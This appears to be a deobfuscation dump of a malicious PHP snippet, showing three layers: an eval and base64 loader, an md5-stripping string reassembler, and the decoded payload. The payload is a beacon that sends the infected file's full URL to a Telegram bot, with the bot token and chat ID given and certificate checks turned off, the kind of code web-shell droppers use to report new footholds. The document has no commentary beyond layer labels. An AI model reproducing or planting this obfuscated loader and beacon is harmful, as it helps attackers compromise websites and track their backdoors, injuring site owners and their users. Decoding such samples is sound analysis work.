Decrypted code level 1:

$KBMxV2Zk="base64_decode";
eval($KBMxV2Zk("JGhlVDAxd3pwQj0iOTkyMDRhODJjMTAyYmI4ZGVlODg2ZTNmMjlkZWNhODUiOyRFTWFCODFxMndqPWFycmF5KCk7JEVNYUI4MXEyd2pbMF09IklEOCtQRDl3YTQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2SEFnQ2lSaWIzUlViMnRsYmlBOUlDYzJNemd5TnpJek16QTBPa0ZCUjJOQ1dqSTVhRGciOyRFTWFCODFxMndqWzFdPSI0ZUVKU2VtRkY0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNlMwWlFNekJuVUZwaExYbG1jM2xCYlZoUkp6c2dDaVJqYUdGMFNVUWdQU0FuTlRnek5qIjskRU1hQjgxcTJ3alsyXT0iZzBjODFlNzI4ZDlkNGMyZjYzNmYwNjdmODljYzE0ODYyY01ERTNNaWM3SUFvZ0NpUndjbTkwYjJOdmJDQTlJR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRVSI7JEVNYUI4MXEyd2pbM109InlkZEthODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY1NBbUppQWtYMU5GVWxaRlVsc25TRlJVVUZNblhTQTlQVDBnSjI5dUp5QS9JQ0pvZEhSd2N6b3YiOyRFTWFCODFxMndqWzRdPSJMeUlnT2lBaWM5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkYUhSMGNEb3ZMeUk3SUFva2FHOXpkQ0E5SUNSZlUwVlNWa1ZTV3lkSVZGUlFYMGhQVTFRIjskRU1hQjgxcTJ3als1XT0iblhjODFlNzI4ZDlkNGMyZjYzNmYwNjdmODljYzE0ODYyY1RzZ0NpUnpZM0pwY0hRZ1BTQWtYMU5GVWxaRlVsc25VRWhRWDFORlRFWW5YVHNnQ2lBS0pHWnBiRyI7JEVNYUI4MXEyd2pbNl09IlZjNGNhNDIzOGEwYjkyMzgyMGRjYzUwOWE2Zjc1ODQ5YlZVa3dnUFNBa2NISnZkRzlqYjJ3Z0xpQWthRzl6ZENBdUlDUnpZM0pwY0hRN0lBb2dDaVIwWld4bFoiOyRFTWFCODFxMndqWzddPSIzSmM4MWU3MjhkOWQ0YzJmNjM2ZjA2N2Y4OWNjMTQ4NjJjaGJVRlFTU0E5SUNkb2RIUndjem92TDJGd2FTNTBaV3hsWjNKaGJTNXZjbWN2WW05MEp5QXVJQ1JpIjskRU1hQjgxcTJ3als4XT0iYjNSVWIydGxjOWYwZjg5NWZiOThhYjkxNTlmNTFmZDAyOTdlMjM2ZGJpQXVJQ2N2YzJWdVpFMWxjM05oWjJVbk95QUtKRzFsYzNOaFoyVWdQU0FuUm1sc1pTQiI7JEVNYUI4MXEyd2pbOV09ImhaR1J5WlhOYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmR6T2lBbklDNGdKR1pwYkdWVlVrdzdJQW9nQ2lSamFDQTlJR04xY214ZmFXNXBkQ2drZEciOyRFTWFCODFxMndqWzEwXT0iVnNaV2R5WVdjOWYwZjg5NWZiOThhYjkxNTlmNTFmZDAyOTdlMjM2ZDFCVUVrcE95QUtZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxQlBVMVFzSSI7JEVNYUI4MXEyd2pbMTFdPSJERXBPeUExNjc5MDkxYzVhODgwZmFmNmZiNWU2MDg3ZWIxYjJkY0tZM1Z5YkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxQlBVMVJHU1VWTVJGTXNJR2gwIjskRU1hQjgxcTJ3alsxMl09ImRIQmVjY2JjODdlNGI1Y2UyZmUyODMwOGZkOWYyYTdiYWYzZlluVnBiR1JmY1hWbGNua29ZWEp5WVhrb0oyTm9ZWFJmYVdRbklEMCtJQ1JqYUdGMFNVUXNJQ2QiOyRFTWFCODFxMndqWzEzXT0iMFpjODFlNzI4ZDlkNGMyZjYzNmYwNjdmODljYzE0ODYyY1hoMEp5QTlQaUFrYldWemMyRm5aU2twS1RzZ0NtTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURSI7JEVNYUI4MXEyd2pbMTRdPSI5UVZGOVNSVlI0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNlZVazVVVWtGT1UwWkZVaXdnZEhKMVpTazdJQXBqZFhKc1gzTmxkRzl3ZENna1kyZ3NJIjskRU1hQjgxcTJ3alsxNV09IkVOVlVreFBVYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRGUmZVMU5NWDFaRlVrbEdXVkJGUlZJc0lHWmhiSE5sS1RzZ0NpQUtKSEpsYzNWc2RDQTkiOyRFTWFCODFxMndqWzE2XT0iSUdOMWNteGZaWGhsWXlna1kyZ3BPeUFLWTNWeWJGOWpiRzl6WlNna1kyZ3BPeUFLUHo0OFAzQm9jQ0E9IjskSXoyMDIzMDcwOTA3MDk1NT0iXHg2MlwxNDFceDczXHg2NVx4MzZceDM0XHg1ZlwxNDRcMTQ1XHg2M1x4NmZceDY0XDE0NSI7JEN4TTIwMjMwNzA5MDcwOTU1ID0gZXY0TG9qbHIyMDIzMDcwOTA3MDk1NSgkRU1hQjgxcTJ3aiwkaGVUMDF3enBCKTtmdW5jdGlvbiBldjRMb2pscjIwMjMwNzA5MDcwOTU1KCRhZSwka2V5KSB7ICRhdD1hcnJheSgpOyBmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRrZXkpOyAkaSsrKSB7IGlmIChpbnR2YWwoJGtleVskaV0pPjApIHsgJGF0WyRpXT0ka2V5WyRpXTsgfSB9ICRhdD1hcnJheV92YWx1ZXMoJGF0KTsgJHN0cj0iIjsgZm9yICgkaT0wOyAkaSA8IGNvdW50KCRhZSk7ICRpKyspIHsgaWYgKCRpPCBjb3VudCgkYWUpLTEpICRzdHIuPXN0cl9yZXBsYWNlKG1kNSgkYXRbJGldKSwgIiIsICRhZVskaV0pOyBlbHNlICRzdHIuPSRhZVskaV07IH0gcmV0dXJuICRzdHI7IH1ldmFsKCRJejIwMjMwNzA5MDcwOTU1KCRDeE0yMDIzMDcwOTA3MDk1NSkpOw=="));

Decrypted code level 2:

$heT01wzpB="99204a82c102bb8dee886e3f29deca85";
$EMaB81q2wj=array();
$EMaB81q2wj[0]="ID8+PD9wa45c48cce2e2d7fbdea1afc51c7c6ad26HAgCiRib3RUb2tlbiA9ICc2MzgyNzIzMzA0OkFBR2NCWjI5aDg";
$EMaB81q2wj[1]="4eEJSemFF45c48cce2e2d7fbdea1afc51c7c6ad26S0ZQMzBnUFphLXlmc3lBbVhRJzsgCiRjaGF0SUQgPSAnNTgzNj";
$EMaB81q2wj[2]="g0c81e728d9d4c2f636f067f89cc14862cMDE3Mic7IAogCiRwcm90b2NvbCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQU";
$EMaB81q2wj[3]="yddKa87ff679a2f3e71d9181a67b7542122cSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICJodHRwczov";
$EMaB81q2wj[4]="LyIgOiAic9f0f895fb98ab9159f51fd0297e236daHR0cDovLyI7IAokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1Q";
$EMaB81q2wj[5]="nXc81e728d9d4c2f636f067f89cc14862cTsgCiRzY3JpcHQgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgCiAKJGZpbG";
$EMaB81q2wj[6]="Vc4ca4238a0b923820dcc509a6f75849bVUkwgPSAkcHJvdG9jb2wgLiAkaG9zdCAuICRzY3JpcHQ7IAogCiR0ZWxlZ";
$EMaB81q2wj[7]="3Jc81e728d9d4c2f636f067f89cc14862chbUFQSSA9ICdodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JyAuICRi";
$EMaB81q2wj[8]="b3RUb2tlc9f0f895fb98ab9159f51fd0297e236dbiAuICcvc2VuZE1lc3NhZ2UnOyAKJG1lc3NhZ2UgPSAnRmlsZSB";
$EMaB81q2wj[9]="hZGRyZXNc9f0f895fb98ab9159f51fd0297e236dzOiAnIC4gJGZpbGVVUkw7IAogCiRjaCA9IGN1cmxfaW5pdCgkdG";
$EMaB81q2wj[10]="VsZWdyYWc9f0f895fb98ab9159f51fd0297e236d1BUEkpOyAKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsI";
$EMaB81q2wj[11]="DEpOyA1679091c5a880faf6fb5e6087eb1b2dcKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0";
$EMaB81q2wj[12]="dHBeccbc87e4b5ce2fe28308fd9f2a7baf3fYnVpbGRfcXVlcnkoYXJyYXkoJ2NoYXRfaWQnID0+ICRjaGF0SUQsICd";
$EMaB81q2wj[13]="0Zc81e728d9d4c2f636f067f89cc14862cXh0JyA9PiAkbWVzc2FnZSkpKTsgCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE";
$EMaB81q2wj[14]="9QVF9SRVR45c48cce2e2d7fbdea1afc51c7c6ad26VUk5UUkFOU0ZFUiwgdHJ1ZSk7IApjdXJsX3NldG9wdCgkY2gsI";
$EMaB81q2wj[15]="ENVUkxPUc9f0f895fb98ab9159f51fd0297e236dFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgCiAKJHJlc3VsdCA9";
$EMaB81q2wj[16]="IGN1cmxfZXhlYygkY2gpOyAKY3VybF9jbG9zZSgkY2gpOyAKPz48P3BocCA=";
$Iz20230709070955="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";
$CxM20230709070955 = ev4Lojlr20230709070955($EMaB81q2wj,$heT01wzpB);
	function ev4Lojlr20230709070955($ae,$key) {
	 $at=array();
	 for ($i=0;
	 $i < strlen($key);
		 $i++) {
			 if (intval($key[$i])>0) {
			 $at[$i]=$key[$i];
			 
		}
		 
	}
	 $at=array_values($at);
	 $str="";
	 for ($i=0;
	 $i < count($ae);
		 $i++) {
		 if ($i< count($ae)-1) $str.=str_replace(md5($at[$i]), "", $ae[$i]);
		 else $str.=$ae[$i];
		 
	}
	 return $str;
	 
}
eval($Iz20230709070955($CxM20230709070955));

Decrypted code level 3:

$heT01wzpB="99204a82c102bb8dee886e3f29deca85";
$EMaB81q2wj=array();
$EMaB81q2wj[0]="ID8+PD9wa45c48cce2e2d7fbdea1afc51c7c6ad26HAgCiRib3RUb2tlbiA9ICc2MzgyNzIzMzA0OkFBR2NCWjI5aDg";
$EMaB81q2wj[1]="4eEJSemFF45c48cce2e2d7fbdea1afc51c7c6ad26S0ZQMzBnUFphLXlmc3lBbVhRJzsgCiRjaGF0SUQgPSAnNTgzNj";
$EMaB81q2wj[2]="g0c81e728d9d4c2f636f067f89cc14862cMDE3Mic7IAogCiRwcm90b2NvbCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQU";
$EMaB81q2wj[3]="yddKa87ff679a2f3e71d9181a67b7542122cSAmJiAkX1NFUlZFUlsnSFRUUFMnXSA9PT0gJ29uJyA/ICJodHRwczov";
$EMaB81q2wj[4]="LyIgOiAic9f0f895fb98ab9159f51fd0297e236daHR0cDovLyI7IAokaG9zdCA9ICRfU0VSVkVSWydIVFRQX0hPU1Q";
$EMaB81q2wj[5]="nXc81e728d9d4c2f636f067f89cc14862cTsgCiRzY3JpcHQgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgCiAKJGZpbG";
$EMaB81q2wj[6]="Vc4ca4238a0b923820dcc509a6f75849bVUkwgPSAkcHJvdG9jb2wgLiAkaG9zdCAuICRzY3JpcHQ7IAogCiR0ZWxlZ";
$EMaB81q2wj[7]="3Jc81e728d9d4c2f636f067f89cc14862chbUFQSSA9ICdodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JyAuICRi";
$EMaB81q2wj[8]="b3RUb2tlc9f0f895fb98ab9159f51fd0297e236dbiAuICcvc2VuZE1lc3NhZ2UnOyAKJG1lc3NhZ2UgPSAnRmlsZSB";
$EMaB81q2wj[9]="hZGRyZXNc9f0f895fb98ab9159f51fd0297e236dzOiAnIC4gJGZpbGVVUkw7IAogCiRjaCA9IGN1cmxfaW5pdCgkdG";
$EMaB81q2wj[10]="VsZWdyYWc9f0f895fb98ab9159f51fd0297e236d1BUEkpOyAKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsI";
$EMaB81q2wj[11]="DEpOyA1679091c5a880faf6fb5e6087eb1b2dcKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0";
$EMaB81q2wj[12]="dHBeccbc87e4b5ce2fe28308fd9f2a7baf3fYnVpbGRfcXVlcnkoYXJyYXkoJ2NoYXRfaWQnID0+ICRjaGF0SUQsICd";
$EMaB81q2wj[13]="0Zc81e728d9d4c2f636f067f89cc14862cXh0JyA9PiAkbWVzc2FnZSkpKTsgCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE";
$EMaB81q2wj[14]="9QVF9SRVR45c48cce2e2d7fbdea1afc51c7c6ad26VUk5UUkFOU0ZFUiwgdHJ1ZSk7IApjdXJsX3NldG9wdCgkY2gsI";
$EMaB81q2wj[15]="ENVUkxPUc9f0f895fb98ab9159f51fd0297e236dFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgCiAKJHJlc3VsdCA9";
$EMaB81q2wj[16]="IGN1cmxfZXhlYygkY2gpOyAKY3VybF9jbG9zZSgkY2gpOyAKPz48P3BocCA=";
$Iz20230709070955="base64_decode";
$CxM20230709070955 = ev4Lojlr20230709070955($EMaB81q2wj,$heT01wzpB);
	function ev4Lojlr20230709070955($ae,$key) {
	 $at=array();
	 for ($i=0;
	 $i < strlen($key);
		 $i++) {
			 if (intval($key[$i])>0) {
			 $at[$i]=$key[$i];
			 
		}
		 
	}
	 $at=array_values($at);
	 $str="";
	 for ($i=0;
	 $i < count($ae);
		 $i++) {
		 if ($i< count($ae)-1) $str.=str_replace(md5($at[$i]), "", $ae[$i]);
		 else $str.=$ae[$i];
		 
	}
	 return $str;
	 
}
eval($Iz20230709070955($CxM20230709070955));

$botToken = '6382723304:AAGcBZ29h88xBRzaEKFP30gPZa-yfsyAmXQ'; 
$chatID = '5836840172'; 
 
$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https://" : "http://"; 
$host = $_SERVER['HTTP_HOST']; 
$script = $_SERVER['PHP_SELF']; 
 
$fileURL = $protocol . $host . $script; 
 
$telegramAPI = 'https://api.telegram.org/bot' . $botToken . '/sendMessage'; 
$message = 'File address: ' . $fileURL; 
 
$ch = curl_init($telegramAPI); 
curl_setopt($ch, CURLOPT_POST, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $chatID, 'text' => $message))); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
 
$result = curl_exec($ch); 
curl_close($ch);